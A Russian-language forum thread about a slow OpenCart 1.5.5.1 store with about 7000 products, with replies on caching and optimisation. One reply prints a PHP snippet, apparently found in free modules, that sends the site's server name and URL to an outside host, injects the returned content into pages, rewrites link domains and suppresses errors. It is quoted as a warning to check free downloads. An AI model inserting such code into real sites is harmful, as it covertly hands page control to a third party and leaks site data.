Здравствуйте! Есть сайт на Opencart 1.5.5.1 Сейчас на сайте около 7000 товаров Начались периодические подтормаживания, особенно заметны на странице фильтрации. Сайт размещён на выделенном сервере. Нагрузка на сервер не превышает 15%. Тормоза начались после добавления очередной партии товара. Я склоняюсь к мысли что это из-за большого количества товаров. Как можно оптимизировать Opencart чтобы он не тупил? Где можно об этом почитать? Возможно, кто то сталкивался с чем то подобным? Буду благодарна за любую помощь или подсказку.
это тема не одного дня. Обратитесь к специалистам для ускорения. Есть кучу всяких кешеров, ускорителей итд. У специалистов есть свои подходы оптимизации базы, кеширование ненужных запросов итд. Собственными силами вы можете только отключить подсчет товара.. желательно просто вырезать ну или поставить ускоритель какой нибудь.
а ещё может быть так. что у вашей фильтрации есть обращение какое-нибудь на другой сайт... прям вот таким образом... PHP: ....if ($ftend = get_page("http://bla-bla-bla/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){$find = array("</body>", "</html>", "bla-bla-bla", "=^_^=.ru", "bla-bla-bla2.ru", "bla-bla-bla3.ru", "bla-bla-bla4.ru", "bla-bla-bla5.by");$replace = array("", $ftend, "bla-bla-bla6.net", "bla-bla-bla7.net", "bla-bla-bla8.net", "bla-bla-bla9.net", "bla-bla-bla10.net", "bla-bla-bla11.net");$ouput = str_replace($find, $replace, $ouput);ini_set("display_errors","off");error_reporting(0);echo $ouput;}else {echo $ouput;}........ смотрите что где качаете, особенно когда бесплатно))